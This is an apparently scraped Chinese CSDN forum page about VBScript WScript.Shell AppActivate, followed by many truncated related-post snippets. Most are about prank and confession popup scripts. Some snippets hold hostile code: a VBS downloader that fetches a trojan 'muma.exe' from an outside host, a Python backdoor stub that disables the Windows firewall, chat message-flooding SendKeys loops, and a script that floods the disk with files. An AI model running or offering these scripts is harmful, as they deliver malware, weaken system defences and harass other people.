Set WshShell= WScript. CreateObject (‘’WScript.Shell‘’) WshShell.AppActivate"网名" [问题点数:20分]

Bbs1
本版专家分:0
结帖率 0%
Bbs1
本版专家分:0
Bbs1
本版专家分:0
[144]如何用VBS编写一个简单的恶搞脚本
windows系统的电脑, 首先右击桌面,选择新建-文本文档,在桌面上新建一个文本文档; 随后打开计算机或者是我的电脑,点击其中的组织(xp系统多为工具),选择下面的文件夹和搜索选项 在弹出的窗口中点击查看,向下滚到,找到隐藏已知文件类型的扩展名,点掉勾号,然后确定; 此时发现新建的文本文档出现后缀名为.txt 打开文本文档后,输入: msgbox“傻X”,后保存。 ...
关于WshShell.AppActivate的疑惑
目前在用hudson集成发包(用cmd启动的),想弄个小程序实现自动更新,在包打完之后运行一个批处理,代码如下: rem =========finalha版权======= set url=192.1
神奇的vbs
<---------个人网站传送门---------> 最近在抖音上很火的各种电脑表白神器,只需要短短的几行代码很轻松就可以达到不错的效果,这自然是引起了我的探索兴趣。 大概就是在桌面上新建一个txt文件,然后输入类似下面短短几行代码,另存为.vbs文件打开即可。 msgbox(“做我女朋友好吗?”) msgbox(“房产证写你名字…”) msgbox(“保大…”) msgbox...
没有文件扩展的“.vbs”的脚本引擎???
Windows Media 编码脚本由如下脚本: cscript.exe wmcmd.vbs –input drive:\Path\Input_file_name -output drive:\Pat
计算机整人代码大全,很多种,vbs格式
很简单啊!你先打开记事本,输入文字: On Error Resume Next Dim fso,ws,file,shut,password password="" <em>Set</em> fso=Wscript.Cr
一个vbs整人代码,电脑半瘫痪了,求救啊~~
朋友整我给我发了个vbs文件,双击后文件自动消失了,然后就跟中病毒一样了,vbs里面的代码是 On Error Resume Next <em>Set</em> fso=<em>CreateObject</em>("Scripting.
vbsQQ登录脚本 WshShell.AppActivate WshShell.SendKeys
vbsQQ登录脚本 <em>Wsh<em>Shell</em></em>.<em>AppActivate</em> <em>Wsh<em>Shell</em></em>.SendKeys
VBS代码--很恶心的整人效果
----我们会经常遇到一些无聊的文件,一旦我们打开它就会出现各种烦人的新窗口,今天来看的是VBS脚本---- 一:VBS简介 VBS是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Editon。(微软公司可视化BASIC脚本版)。其语言类似Visual Basic(VB),VBS是微软的WSH脚本的一种,WSH是是Win
求大神帮忙看下这段VBS代码,运行报错缺少')',小白对VBS语法不熟悉,感谢!
代码部分: 报错信息: 帮忙看下代码部分有没有别的问题,我需要将D:\KIOSK\&b&\Config\PrinterConfig.xml 文件中的true</paperWi
求助!!Microsoft VBScript 编译器错误 错误 '800a0408' 怎么解决??
各位大侠!帮个忙好吗???遇到了一道难题! 具体是: Microsoft VBScript 编译器错误 错误 '800a0408' 无效字符 /etnperlong/include/right.asp
超好玩的vbs代码 (恶作剧代码)
VBScript是Visual Basic Script的简称微软公司可视化BASIC脚本版),即 Visual Basic脚本语言,有时也被缩写为VBS。它是一种微软环境下的轻量级的解释型语言,它使用COM组件、WMI、WSH、ADSI访问系统中的元素,对系统进行管理。同时它又是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数据库的as...
VBS教程
Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它...
vbsQQ登录脚本 WshShell.AppActivate WshShell.SendKeys下载
vbsQQ登录脚本 <em>Wsh<em>Shell</em></em>.<em>AppActivate</em> <em>Wsh<em>Shell</em></em>.SendKeys 相关下载链接://download.csdn.net/download/yangyuantian/24
vbs 表白代码下载
功能多,(≧∇≦)ノ给你最喜欢的人吧,原是用易语言开发 相关下载链接://download.csdn.net/download/qq_42636475/10777738?utm_source=bbss
vbs 表白代码
功能多,(≧∇≦)ノ给你最喜欢的人吧,原是用易语言开发
QQ(微信)消息轰炸代码vbs
带数字的提示的 set wshshell=wscript.createobject("wscript.shell") wshshell.<em>AppActivate</em>"要发送的人的名字" for i=1 to 100 //循环次数 wscript.sleep 100 //间隔时间,单位毫秒 wshshell.sendKeys "^v" wshshell.sendKeys...
Shell")”吗?谢谢!">初学者提问:客户端能运行这句话“Set WshShell=CreateObject("Wscript.Shell")”吗?谢谢!
下面是一段测试代码。我有三个问题请教: 1、对于ASP来说,里面的脚本在服务器端运行;里面的脚本在客户端运行;<scr
vbs:仿抖音告白洪君
向女神告白 爱情是从告白开始的!如果不好好珍惜,就会永远失去她,切莫追悔莫及。只有你主动,你们之间才会有故事! 代码运行无需其他特殊环境! vbs,是vbscript,它是微软的脚本语言,即Windows自带的。 msgbox &amp;amp;amp;quot;宝贝,你确定要继续吗?&amp;amp;amp;quot;,vbQuestion,&amp;amp;amp;quot;爱情都是从告白开始的!&amp;amp;amp;quot; msgbox &amp;amp;amp;quot;宝
自动发消息
set <em>Wsh<em>Shell</em></em>= <em>WScript</em>.<em>CreateObject</em>("<em>WScript</em>.<em>Shell</em>") <em>Wsh<em>Shell</em></em>.<em>AppActivate</em> "照芳" for i = 1 to 33 <em>WScript</em>.sleep 800 <em>Wsh<em>Shell</em></em>.SendKeys "^v" <em>Wsh<em>Shell</em></em>.SendKeys i <em>Wsh<em>Shell</em></em>.SendKeys "%s" <em>Wsh<em>Shell</em></em>.SendKeys...
VBS:注册表
'注册表:regedit dim <em>Wsh<em>Shell</em></em> <em>Set</em> <em>Wsh<em>Shell</em></em> = <em>CreateObject</em>("Wscript.<em>Shell</em>") <em>Wsh<em>Shell</em></em>.RegWrite "HKEY_CURRENT_USER\Software\VMware, Inc.\VMware Tray",0,"REG_SZ" Wscript.Echo "完毕" Wscript.Quit
vbs经典回顾之[键盘输入方法]wshShell.SendKeys
vbs经典回顾之[键盘输入方法]wsh<em>Shell</em>.SendKeys [键盘输入方法]wsh<em>Shell</em>.SendKeys 方法探析(2010-09-30 14:35:11)   模拟键盘操作,将一个或多个按键指令发送到指定Windows窗口来控制应用程序运行,  其使用格式为:object.SendKeys(string)  “object”:表示<em>Wsh<em>Shell</em></em>对象  “str
提权常用DOS命令运用
1.运行环境cmd 窗口中运行这些命令2. DOS 命令2.1查看版本:ver2.2查看权限:whoami tangyuan-pc 只是用户,这的 lizi 是管理员权限(一般电脑上的叫:Administrator) 在服务器中进行提权(以后会讲怎么提权),一般权限都是 user 的普通权限,或者是 guest (来宾)的权限 2.3查看配置:systeminfo 我的出点问题,网上找
cscript和wscript
cscript和wscript
DOS Sleep 命令
Most operating systems provide a command in batch files to sleep, or wait, a certain number of seconds. This is great in that batch files ca
提权学习:提权拿服务器方法总结-超细(补充节点0x02)
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 【 web提权】 dos命令大全 SQL语句直接开启3389 常见杀软 windows提权中敏感目录和敏感注册表的利用 提权中的敏感注册表位置 wscript.shell的删除和恢复 如何找到准确的终端连接端口? 本地溢出提权 sa提权 root提权 serv-u提权 端口转发 nc反弹提...
运行VBS文件提示没有权限,求帮助
![图片说明](https://img-ask.csdn.net/upload/201711/01/1509527121_616880.png)这是代码:'on error resume next set sysenv1 = <em>CreateObject</em>("<em>WScript</em>.<em>Shell</em>") set sysenv=sysenv1.Environment("system") '系统环境变量的数组对象 thepath=sysenv("path") newpath=sysenv1.CurrentDirectory & "\Contents\Cygwin\Versions2.0.a9.oga.1\i686" if Instr(thepath,newpath)=0 then sysenv("path")=thepath & ";" & newpath '添加变量 end if thepath=sysenv("path") 'Wscript.echo(thepath) Wscript.echo 本人完全小白,安装软件最后一步不行,求解决方法
VBS脚本大全
VBS脚本常用代码整理,VBS是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Edition。(微软公司可视化BASIC脚本版)
简单的c#脚本
using System.Collections;using System.Collections.Generic;using UnityEngine;using UnityEditor;using System.IO;public class LoadAB {    [MenuItem(&quot;Assets/LoadAB&quot;)]    static void Load()    {        str...
vbs整人代码,表白+提醒 两段代码就OK
在沉闷的工作环境下,有时玩玩整人代码也不错,整人代码一般使用VBS脚本来实现,简单的两行代码就可以实现表白+提醒了,不过大家也要警惕VBS脚本的危险性,下面小编分享的只是整人简单脚本,大家可以随便玩!并不损坏电脑文件。   先来第一段弹窗代码: MSGBOX“内容A”+ CHR(13)+“内容B”+ CHR(13)+“内容C”,1,“标题” 将它们复制到文本中,将后缀改成“.VBS”就可以双...
Shell")">为什么运行这句话出错:Set WshShell = Wscript.CreateObject("Wscript.Shell")
为什么运行这句话出错:<em>Set</em> <em>Wsh<em>Shell</em></em> = Wscript.<em>CreateObject</em>("Wscript.<em>Shell</em>")
vbs操作excel全集
dim oExcel,oWb,oSheet <em>Set</em> oExcel= <em>CreateObject</em>("Excel.Application") <em>Set</em> oWb = oExcel.Workbooks.Open("E:\其他\新装电话表.xls") <em>Set</em> oSheet = oWb.Sheets("Sheet1") MsgBox oSheet.Range("B2").Value '#提取单元格
VBS教程--摘自百度百科
VBS的基础教程 第一篇(共六篇)   我知道菜鸟现在最关心的就是用什么工具来开发VBS程序了, 答案是:记事本(Notepad),我不是开玩笑, 其实任何一种文本编辑器都可以用来开发VBS开发, 只不过记事本是由系统自带的, 比较好找而已. 尽管如此, 我还是建议你去下载一个专业的文本编辑器, 因为这些工具可以提供 &quot;语法高亮&quot;等功能, 更加方便开发, 用哪一个随你喜好, 我比较喜欢Ed...
VBS如何在文本文件中添加回车改变格式?
加入文本文件内的内容是 ******************** 我想通过vbs使其变成 ***** ***** ***** ***** ***** 并保存
VBS病毒代码运行
var fso = new ActiveXObject('Scripting.FileSystemObject'); var <em>Shell</em> = new ActiveXObject('<em>WScript</em>.S
sendkeys && appactivate
sendkeys 用于输入键盘按键 appactivate 用于聚焦程序 on error resume next set ws = createObject("wscript.shell") appactiveate可以指定title 或者 pid 如下 (1)指定标题 ws.run "notepad.exe" wscript.sleep 1000 ws.ap...
shell 脚本 set 命令
为 shell 设定参数变量。许多命令的输出是以空格分隔的值,如果要使用其中的某个数据域,使用 set 非常有效。   #!/bin/sh   echo the date is $(date)   set $(date)   echo The month is $2   exit 0   将 date 命令的输出设置为参数表,再通过位置参数 $2 取得月份。因为 date 命令受语言和
vbs代码 一不小心中招了 下面是源代码 怎么解决
方法/步骤 3 此代码的作用是生成5000个滑稽文件名字分别为滑稽 滑稽1 滑稽2 滑稽3……… 5000可以更改改为多少个就生成多少个滑稽文件 -------------------------------------------------------------------------------- Do Until t_i=1 t_i=t_i+1 T=T+"滑稽 " Loop Do <em>Set</em> fs = <em>CreateObject</em>("Scripting.FileSystemObject") <em>Set</em> f = fs.OpenTextFile(I&".滑稽", 2, True, -2) f.Write T f.Close I=I+1 If I = 5000 then Exit Do End If Loop
vbs实现恶搞无限弹窗,复制粘贴就能用
vbs简单实现弹窗 直接新建txt文档,复制粘贴下面代码: do a =msgbox("你怕是个ZZ吧?",vbYesNoCancel,"一份认真的问卷调查") if a =vbYes then msgbox "emmmm,还算有点自知之明",,"恭喜你,真正的认识了自己!" exit do elseif a =vbNo then b =msgbox("心里没点AC数吗?",v...
Shell")不能创建?????????">Set objShell = CreateObject("Wscript.Shell")不能创建?????????
sub screem() dim path <em>Set</em> obj<em>Shell</em> = <em>CreateObject</em>("Wscript.<em>Shell</em>") path
解决VBScript中文乱码问题
相信很多人在用FSO读取或写入中文文本文件时都会遇到让人头疼的乱码问题吧,确实,FSO不支持UTF-8的。所以干脆用AdoDb.Stream来处理。   问题描述:从一个文本中读取中文,然后输出到另外一个文本中。每次读取出中文后都是乱码。 解决方法: 1.本想使用OpenTextFile来解决乱码问题的,但是最终以失败告终,OpenTextFile只能提供unicode和ascill字
vbs表白代码下载
功能多,(≧∇≦)ノ给你最喜欢的人吧,原是用易语言开发 相关下载链接://download.csdn.net/download/qq_42636475/10777728?utm_source=bbss
vbs脚本
前言:VBS是VBScript的简单,是由微软推出的一套基于Windows的脚本语言,该脚本无需编译成EXE可执行文件,而是直接将源代码通过宿主(Hosts)进行解释并执行。 一.编写及运行VBS代码 VBS代码中: 用“REM”和“'”进行注释操作 用Inputbox和Msgbox实现输入输出操作 二.变量的定义和使用 1.Const关键字来定义,例如:const PI=3.1...
WshShell对象
<em>Wsh<em>Shell</em></em>对象的应用,包括对象名和相关的属性
VBS修改xml文件????????、、、、?
![图片说明](https://img-ask.csdn.net/upload/201812/04/1543911508_818522.jpg) 我想将这个xml文件的第29行内容中的*号实现换行,即每隔20个*加一个回车,假设有10000个*,并保存,求代码啊
vbs表白小程序,女生同意才能关掉。
python 交流学习群205075113 msgbox &quot;做我女朋友好吗&quot;,vbQuestion,&quot;在吗&quot; msgbox (&quot;房产写你名字&quot;) msgbox (&quot;保大&quot;) msgbox (&quot;我妈会游泳&quot;) dim j do while j&amp;lt;1 Select Case msgbox(&quot;做我女朋友好吗&quot;,68,&quot;请郑重的回答我&quot;) Case 6 j=1 C
VBS发声
记事本中写入 <em>CreateObject</em>(&quot;SAPI.SpVoice&quot;).Speak&quot;&quot; 如:<em>CreateObject</em>(&quot;SAPI.SpVoice&quot;).Speak&quot;hello world&quot; 保存时保存成vbs格式的文件(Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)),双击即可运行,依赖系统,Windows7及以上支持。 如果换成Crea...
BAT、VBS、代码、教程、整人
里面代码全真实,使用是小心,主要为了娱乐!!代码可以自己试着写一个BAT脚本或者VBS,仅供初学者!
一段纯vbs实现zip压缩的代码,无需dll或者winrar支持
下面这段是我在网络上找到的纯VBS压缩ZIP的代码,不需要DLL或者是WINRAR或者ZIP软件支持 执行这个脚本的确可以实现纯VB压缩ZIP,但是运行过程中会有个进度条,如何不显示此进度条? Zip
qq消息轰炸代码vbs
这就一篇博客,有没其它内容,想不明白为啥要举报啊,大佬们。 和室友斗图在网上找的代码,创建一个text文本,把代码复制进去,后缀改为vbs,复制要发送的内容,双击vbs文件,然后点击聊天框即可,两个版本,一个带数字,一个不带。带数字的版本使用时需要将//和后面的文字删除,否则会报错。 带数字 set wshshell=wscript.createobject("wscript.shel...
Wscript.Shell详解
声明:本人新学按精,对于程序中经常出现的Obj=Creatobject("wscript.shell")有各种疑问,而本论坛并无关于该object的详细介绍。故baidu之。在此对资料的各位原作者表示感谢。以下是自己搜索过程中得到的一些信息与理解,也想让诸位看看我得到的信息正确与否。故发帖共享。如果有哪里出现错误,请各位不吝指正。Wscript.shellWscript.shell是Wshshe...
制作一个VBS病毒
在这里给大家制作一个VBS病毒,还望大家笑纳。 (后面还会说解毒VBS代码) 工具/原料 电脑 方法/步骤 首先创建VBS文档。 右键编辑,进入记事本。 输入如下代码: On Error Resume Next <em>Set</em> fs=<em>CreateObject</em>(&quot;Scripting.FileSystemObject&quot;) <em>Set</em> dir1=fs....
好玩的VBS
新手教学(大神请跳到第五步): 编写vbs有多简单?新建“文本文档”,输入msgbox &quot;一大波病毒正在靠近...&quot; ,点击文件-&amp;gt;另存为-&amp;gt;重命名为“代码.vbs”。文件名不重要,重要的是后缀要是“.vbs”。 2 双击保存的文件:代码.vbs,即弹出一个对话框。记下这段小小的代码,去同学家里恶搞吧。当然你还可以输入其他有趣的文字。 ...
怼人脚本,QQ消息轰炸
纯属娱乐: Dim <em>Wsh<em>Shell</em></em> <em>Set</em> <em>Wsh<em>Shell</em></em>= Wscript.<em>CreateObject</em>("<em>WScript</em>.<em>Shell</em>") <em>Wsh<em>Shell</em></em>.<em>AppActivate</em> "被怼人昵称" for i=1 to 300 <em>WScript</em>.Sleep 100 <em>Wsh<em>Shell</em></em>.SendKeys "^v" <em>Wsh<em>Shell</em></em>.SendKeys i <em>Wsh<em>Shell</em></em>.SendKeys "%s" ...
表白神器(VBS编程)
步骤一、打开记事本,输入以下代码(建议直接复制): msgbox &quot;我有一件事想跟你说&quot;,vbQuestion,&quot;在吗&quot; msgbox&quot;自从第一天遇见你,我便对你难以忘怀了!&quot; <em>CreateObject</em>(&quot;SAPI.SpVoice&quot;).Speak&quot;能够遇见你,对我来说是最大的幸福。有了你,我的生活变的绚丽多彩,有了你,世界变得如此迷人。你是我的世界,我的世界是你。我愿意用自己的一生,好好的陪着...
在VBA中如何调用VBS脚本
最近在学习VBA,遇到一个问题 我想在VBA中调用已经写好的VBS脚本,VBA代码如下: Sub Macro1() <em>Shell</em> "C:\windows\system32\cmd.exe" <em>Shell</em>
vbs实现消息轰炸
效果 代码 On Error Resume Next Dim wsh,ye set wsh=createobject(&quot;wscript.shell&quot;) for i=1 to 10 wscript.sleep 700 wsh.<em>AppActivate</em>(&quot;这里是要轰炸的人名字&quot;) wsh.sendKeys &quot;^v&quot; wsh.sendKeys i wsh.sendKeys &quot;%s&quot; ne...
vbs脚本信息输出到控制台(dos窗口)
vbs打印信息不像vb那样可以直接print出来,要想查看一些调试信息只能通过MsgBox,这样产生了人机交互,脚本执行不流畅。今天找到了一个方法,让VBS在DOS下执行时可以在DOS环境打印信息——使用CScript.exe调用VBS脚本,同时脚本使用WSH.Echo打印信息。 DEMO: tmp.vbs WSH.Echo "print your message he
VBS实例 44个 vbs脚本实例
VBS实例 44个 vbs脚本实例, VBS取QQ-TM号码的自动登录命令行.vbs 妙用脚本清除电脑中的痕迹.vbs 后台字典文件管理器.vbs 定时关机.vbs 列出管理工具集.vbs 旁注查询工
vbs表白代码+整人代码,抖音vbscript表白代码
步骤一: 在电脑上新建一个txt文件 步骤二:将以下代码复制过去(中文可以改) const title = “爱情测试” const yourname = “嫦娥” const question = “你最喜欢的人是谁?请在下面的方框中输入他(她)的名字。” const info = “你在说谎!不要逃避,实话实说。” const scend = “你说出了你的心扉,那就向他(她)表白吧。” di...
VBS:打开网站
<em>Set</em> ws = <em>WScript</em>.<em>CreateObject</em>("<em>WScript</em>.<em>Shell</em>") ws.run("www.baidu.com")
vbs整人的代码
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye
如何停止电脑正在运行的VBS程序?
近期,抖音视频上很火的轰炸,群发。 以及一些其他的通过VBS文件进行的操作很多。 那么,如何结束掉这些文件的而执行呢? 下面来展示一下吧! 任何操作系统,运行一个程序进程。操作系统都会为其分配一个进程号。那么,我们把这个进程号对应的程序关掉就好啦! 也就是:kill 下图,是我展示的一个VBS进程信息: 我们只需要再创建一个VBS程序来杀死这个进程就好啦! 如图: 代码: dim WSHshe...
vbs表白代码
抖音爆火vbs表白代码,亲测可用,含if-else选择语句,do-loop循环语句,inputbox()输入函数,功能较多,仅需修改文字即可使用。
WScript.CreateObject(WScript.Shell)
为什么 <em>WScript</em>.<em>CreateObject</em>(<em>WScript</em>.<em>Shell</em>) 无法执行 ━━━━━━━━━━━━━━━━━━━━━━━━━━ 源 VBS 程序∶ Dim t <em>Set</em> t=<em>WScript</em>.<em>CreateObject</em>("<em>WScript</em>.<em>Shell</em>") <em>Set</em> t=Nothing <em>WScript</em>.Quit(0) 运行后出现错误: 行:2 错误:无法找到名为"WScrip
VBS批量替换(转换)文本文件中的单位(求达人瞧一下)
需求:遍历文本文件,在里面找到像素单位(例:“100px”),替换成相对单位(例如:“3rem”);px与rem单位转换过程中是一个固定比例。 研究半天弄了下面一个脚本,但是不能替换到位。望大佬给个意见 ``` Dim regEx,Match,Matches <em>Set</em> regEx = New RegExp '创建一个正则表达式 regEx.Pattern = "^[1-9]\d*px$" '设置正则表达式的匹配模式 regEx.IgnoreCase = True '设置为不区分大小写 regEx.Global = True '设置为全局可用 dim fso, f set fso = <em>CreateObject</em>("Scripting.FileSystemObject") set f = fso.OpenTextFile("1.txt", 1, false) '第二个参数 1 表示只读打开,第三个参数表示目标文件不存在时是否创建 set e = fso.OpenTextFile("2.txt", 8, True) Do Until f.AtEndOfStream strLine = f.ReadLine() '从当前位置向后读取直到遇到换行符(不读取换行符),并将当前位置移动到下一行的第一个字符,注意:无参数 <em>Set</em> Matches = regEx.Execute(strLine) '执行搜索 For Each Match in Matches '遍历所有的匹配 x=Len(Match) n=Left(Match,x-2) ' 拆分去掉最后的px o = n/30 ' 换算。 p ="rem" replStr = o&p' 拼接。 MsgBox regEx.Peplace(strLine,replStr) Next e.WriteLine(strLine) Loop f.Close() e.Close() set f = nothing set fso = nothing ```
VBS激活指定标题的窗口,并成为当前显示的窗口
本人在机房管理中,经常用VBS做无人值守的自动安装软件的重复活,效果一直不错。但有一个问题一直没有得到解决,望大牛动动指头,不吝赐教。 激活指定窗口的代码: set ws=createobject("
论看了别人抖音vbs表白后
  第一个、 打开txt文件,复制以下代码粘贴进去(可以修改中文部分,其它代码不要动!)。保存并关闭txt文件。 msgbox(&quot;做我女朋友好吗?&quot;) msgbox(&quot;房产证上写你名字&quot;) msgbox(&quot;保大&quot;) msgbox(&quot;我妈会游泳&quot;) 然后把文件后缀名改成.vbs,这是最基本的,没有逻辑。 若新建的txt文件不显示“.txt”,可随便打开一个文件夹,再点击【查看】,在【...
vbs求教学
这是为什么?代码没有错为什么不存在copyfolder这个方法?
用vbs写的简单表白程序
下载即用,双击便可以看到效果,如果想改文字效果的话可以用笔记本打开进行修改
vbs整人代码大全
一、做我女朋友吗,告白(抖音里很火的)无危害 msgbox("做我女朋友可以吗?") msgbox("房产证上写你名") msgbox("保大") msgbox("我妈会游泳") m = MsgBox("做我女朋友好吗?",vbOKCancel) If m = vbOK Then Msgbox("爱你么么哒") If m = vbCancel Then MsgBox "不喜欢你了", vbCrit...
怎么让vbs文件在开机时自动运行呢:
比如 我写了这样一个 vbs 文件, <em>CreateObject</em>("SAPI.Spvoice").Speak "欢迎来到这里" 我怎么让这个文件在电脑开机时自动运行呢,让电脑自己播放语音“欢迎来到这里”
vbs文件隐藏后,怎么显示啊
vbs文件隐藏后,怎么显示啊
VBS转化为exe可执行文件
我来介绍两个工具吧 ScriptCryptor 获取地址: https://pan.baidu.com/s/1GlsJfJPdLuJe3Dbqf0EvpQ 提取码: 7bdb 特点: Blowfish 加密算法,不容易被第三方工具破解; 可以转换javascript和VBScript,转换后的文件不需要cscript.exe和wscript.exe的支持就可以运行; ...
wscript.shell
 //windows shell脚本.vbs文件 https://baike.baidu.com/item/wscript.shell/7752223?fr=aladdin 用于一些小操作:窗口,进程,注册表
【代码最简】用最简化的代码来表白!! (程序员的爱情对话)
说明: 代码最简化比赛,看谁完成上面图形用的代码最少。(代码最少的前几名有加分奖励!) 有这最简化的代码向你的心上人表白吧,一定别有一番风味哟。。。。
python3病毒系列(2)"木马"
没的废话,直接上代码! 被控制端: import os import socket os.popen('net stop mpssvc') s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) host = 'USER-20180705UV' port = 6666 s.bind((host,port)) s.listen(5) while...
win2008下如何让bat开机自启动?
win2008系统,作为tomcat,apache服务器 tomcat,apache需要在开机后延迟一段时间再自动启动,延迟的时间可以自己定义,而且不需要用户登录,就可以启动tomcat,apache
WScript.Shell")创建不成功!!在线等!!">为什么在我的机器上set WshShell=Server.CreateObject("WScript.Shell")创建不成功!!在线等!!
为什么在我的机器上set <em>Wsh<em>Shell</em></em>=Server.<em>CreateObject</em>("<em>WScript</em>.<em>Shell</em>")创建不成功!是不是还要在操作系统上加上什么文件呀!!!不好意思,刚学ASP让大家见笑
vbs代码,自动播放语音
vbs语音代码,可以自动播放语音
WScript.Shell") 找不到指定文件">WScript.CreateObject("WScript.Shell") 找不到指定文件
看看路径中有没有空格 有的话需要再加&quot;&quot;&quot;
微信轰战机(源码+解析+使用)
闲谈: 最新刷抖音的时候,发现可以不停的发信息。算了不说了,直接简单介绍源码吧。 源码: <em>Set</em> <em>Wsh<em>Shell</em></em>=<em>WScript</em>.<em>CreateObject</em>("<em>WScript</em>.<em>Shell</em>") <em>Wsh<em>Shell</em></em>.<em>AppActivate</em>"chenyanlong_vip" for i=1 to 100 <em>WScript</em>.Sleep 200 <em>Wsh<em>Shell</em></em>.Sendkeys"^v" WshSh...
wscript.shell的run方法
下面的程序完成向本机的dns服务器中添加新的IP地址和域名的对应关系。存在这样一个问题:就是程序运行到“o<em>Shell</em>.run(...)”这一句时,总是新打开一个命令窗口,执行完命令后关闭窗口,整个循环
想学习一门编程语言,感觉vbs挺简单,有没有推荐的书籍和网站?
论坛上一看,像我这么初级的选手也没有啊?瞬间崩溃。看了好多帖子,没有一个问题能看懂。。。。。。。。。。。。。。。。。。。。。。
ShellExecuteEx调用cscript.exe执行vbs脚本,如何执行时向脚本传参数
如何使用<em>Shell</em>ExecuteEx调用cscript.exe执行vbs脚本的时候,给脚本里定义一个变量赋值。
vbs中关于二维数组的处理
我在程序中要临时建一个二维数组,建立二维数组,添加元素这个我知道用redim preserve 那如果我要删除一行元素怎么删?譬如有二维数组 123 现在我要删除456这样元素,让数组变成123 45
QQ,微信刷屏VBS——(娱乐使用)
新建文本文档,打开, 复制以下代码: On Error Resume Next Dim xda,ye set xda=createobject(&quot;wscript.shell&quot;) for i =1 to 10 wscript.sleep 700 xda.<em>AppActivate</em> xda.sendKeys &quot;^v&quot; xda.sendKeys i xda.sendKeys &quot;%s&quot; next wscr...
抖音问答弹窗代码下载
之前抖音上有跳出vb的弹窗代码,用来搞笑,我也实现了一下,感觉还比较不错,把他放到开机自启动的文件夹里,效果会很不错 相关下载链接://download.csdn.net/download/livan
vbs创建一个文件
我想要写一个VBS脚本,首先从文件path.txt中读取到一个路径 ,比如读取到"C:\Program Files (x86)\System Protect Software\" 然后,我要在这个路径
用VBSEDIT写的VBS转成EXE后,会被杀软当成病毒,高手怎么解决?
用VBSEDIT写的VBS转成EXE后,复制到U盘中,再复制到电脑上,就会被杀软报毒;或者上传到邮箱中,再从邮箱中下载到电脑上,也会被杀软报毒。真的有这么邪门吗?!是不是要加什么东东才不会被杀软报毒?
QQ消息的重复发送VBS
<em>Set</em> <em>Wsh<em>Shell</em></em>= <em>WScript</em>.<em>CreateObject</em>("<em>WScript</em>.<em>Shell</em>")<em>Wsh<em>Shell</em></em>.<em>AppActivate</em> ""for i=1 to 10<em>WScript</em>.Sleep 500<em>Wsh<em>Shell</em></em>.SendKeys "^v"<em>Wsh<em>Shell</em></em>.SendKeys i<em>Wsh<em>Shell</em></em>.SendKeys "%s"next 把以上代码保存为vbs文件.复制需要重复发送
VBS下载者
一、VBS下载者: <em>Set</em> Post = <em>CreateObject</em>("Msxml2.XMLHTTP") <em>Set</em> <em>Shell</em> = <em>CreateObject</em>("Wscript.<em>Shell</em>") Post.Open "GET","http://www.03389.com/muma.exe",0 Post.Send() <em>Set</em> aGet = <em>CreateObject</em>("ADODB.Stream")
vbs调用ie浏览器演示,vbs调用浏览器查天气
VBS 也挺强大的呢,这篇给大家演示的是调用 ie 浏览器,并用百度查出天气 注:编辑器不支持 vbs 编程,单引号后是注释哦!
vbs之下载文件
<em>Set</em> post=<em>CreateObject</em>(&quot;Msxml2.XMLHTTP&quot;) post.Open &quot;GET&quot;,&quot;https://blog.csdn.net/xianda9133/article/details/51200034&quot; '发送请求 post.Send() <em>Set</em> aGet = <em>CreateObject</em>(&quot;ADODB.Stream&quot;) aGet.Mode = 3 aGet.Type = ...
VBS代码大全
vbs脚本程序应用灵活方便,包含经典代码,可做为变成辅助工具!
VBS脚本常用经典代码
VBS脚本常用经典代码 1、VBS获取系统安装路径 /*先定义这个变量是获取系统安装路径的,然后我们用“&strWinDir&”调用这个变量。*/ set<em>Wsh<em>Shell</em></em> = <em>WScript</em>.<em>CreateObject</em>("<em>WScript</em>.<em>Shell</em>") strWinDir= <em>Wsh<em>Shell</em></em>.ExpandEnvironmentStrings("%WinDir%") 2、VBS获取C:/Pr
动态规划入门到熟悉,看不懂来打我啊
持续更新。。。。。。 2.1斐波那契系列问题 2.2矩阵系列问题 2.3跳跃系列问题 3.1 01背包 3.2 完全背包 3.3多重背包 3.4 一些变形选讲 2.1斐波那契系列问题 在数学上,斐波纳契数列以如下被以递归的方法定义:F(0)=0,F(1)=1, F(n)=F(n-1)+F(n-2)(n&gt;=2,n∈N*)根据定义,前十项为1, 1, 2, 3...
ANSI UNICODE UTF8转换下载
自己写的ANSI UNICDE 和UTF 8编码的转换。轻松实现三种编码的转换。 相关下载链接:[url=//download.csdn.net/download/lovebook08/8881403?utm_source=bbsseo]//download.csdn.net/download/lovebook08/8881403?utm_source=bbsseo[/url]
j2se6_document_chm.part2.rar下载
java6文档,chm格式,支持目录、索引、搜索 相关下载链接:[url=//download.csdn.net/download/wubaobao/1499775?utm_source=bbsseo]//download.csdn.net/download/wubaobao/1499775?utm_source=bbsseo[/url]
The Enigma Protector v2.13.20100923下载
The Enigma Protector v2.13.20100923 相关下载链接:[url=//download.csdn.net/download/uupvip/2745740?utm_source=bbsseo]//download.csdn.net/download/uupvip/2745740?utm_source=bbsseo[/url]
相关热词 c#如何定义数组列表 c#倒序读取txt文件 java代码生成c# c# tcp发送数据 c#解决时间格式带星期 c#类似hashmap c#设置istbox的值 c#获取多线程返回值 c# 包含数字 枚举 c# timespan
我们是很有底线的